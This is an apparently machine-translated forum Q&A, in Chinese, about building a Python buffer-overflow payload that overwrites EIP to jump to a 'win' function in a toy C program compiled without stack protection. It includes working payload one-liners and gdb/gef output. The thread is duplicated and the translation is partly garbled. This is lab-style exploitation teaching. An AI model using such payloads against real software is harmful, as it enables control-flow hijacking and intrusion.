如何为缓冲区溢出生成 python 的有效载荷?
How to generate payload with python for buffer overflow?
我试图引发缓冲区溢出以便在 C 代码上执行函数。到目前为止,我已经设法找出接管 EBP 寄存器的字节数是多少。接下来唯一要做的就是将 EIP 的地址替换为我希望执行的函数。我正在尝试使用 python 生成此有效负载。为此,我使用以下
python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
这就是我得到的
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;�
注意最后几个字符!我知道这不是我应该得到的。我希望在 EIP
寄存器上 运行 的地址是 0804863b
。我必须将它放在 little endian
上才能正确利用 运行。对此有何评论?
如果你运行这个负载:
python -c 'print "A"*112 + "B"*4' > attack_payload
然后如果你控制了 PC (EIP=42424242)
(gdb) r < attack_payload
您可以用您的地址替换“BBBB
”0804863b
python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
就这些了,有没有EIP控件之前先验证一下。
更多信息(我看到了源代码),以简单的方式(为了更好的解释)尝试使用以下命令编译
gcc -o main main.c -fno-stack-protector -g -m32
运行 它与调试器 (gdb ./main
) 并设置以下断点
gef➤ b 13
Breakpoint 2 at 0x8048611: file main.c, line 13.
继续并插入以下有效载荷
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC
按照说明继续
→ 0x804862d <stringLength+60> ret
并且您可以看到现在您可以控制 ret 值
gef➤ bt
#0 0x0804862d in stringLength () at main.c:14
#1 0x43434343 in ?? ()
#2 0x08048800 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
gef➤ x/x $sp
0xffffd5ec: 0x43434343
现在可以用win函数的地址替换“CCCC
”
gef➤ p win
= {void ()} 0x80485dd <win>
您可以使用一个简单的 python 脚本(尝试查看此库 pwntools)实现所有自动化,您的有效负载将是:
payload = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
payload += "\xdd\x85\x04\x08"
或者你也可以运行
python -c 'print "1"+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\xdd\x85\x04\x08"' | ./main
我试图引发缓冲区溢出以便在 C 代码上执行函数。到目前为止,我已经设法找出接管 EBP 寄存器的字节数是多少。接下来唯一要做的就是将 EIP 的地址替换为我希望执行的函数。我正在尝试使用 python 生成此有效负载。为此,我使用以下
python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
这就是我得到的
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;�
注意最后几个字符!我知道这不是我应该得到的。我希望在 EIP
寄存器上 运行 的地址是 0804863b
。我必须将它放在 little endian
上才能正确利用 运行。对此有何评论?
如果你运行这个负载:
python -c 'print "A"*112 + "B"*4' > attack_payload
然后如果你控制了 PC (EIP=42424242)
(gdb) r < attack_payload
您可以用您的地址替换“BBBB
”0804863b
python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
就这些了,有没有EIP控件之前先验证一下。
更多信息(我看到了源代码),以简单的方式(为了更好的解释)尝试使用以下命令编译
gcc -o main main.c -fno-stack-protector -g -m32
运行 它与调试器 (gdb ./main
) 并设置以下断点
gef➤ b 13
Breakpoint 2 at 0x8048611: file main.c, line 13.
继续并插入以下有效载荷
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC
按照说明继续
→ 0x804862d <stringLength+60> ret
并且您可以看到现在您可以控制 ret 值
gef➤ bt
#0 0x0804862d in stringLength () at main.c:14
#1 0x43434343 in ?? ()
#2 0x08048800 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
gef➤ x/x $sp
0xffffd5ec: 0x43434343
现在可以用win函数的地址替换“CCCC
”
gef➤ p win
= {void ()} 0x80485dd <win>
您可以使用一个简单的 python 脚本(尝试查看此库 pwntools)实现所有自动化,您的有效负载将是:
payload = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
payload += "\xdd\x85\x04\x08"
或者你也可以运行
python -c 'print "1"+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\xdd\x85\x04\x08"' | ./main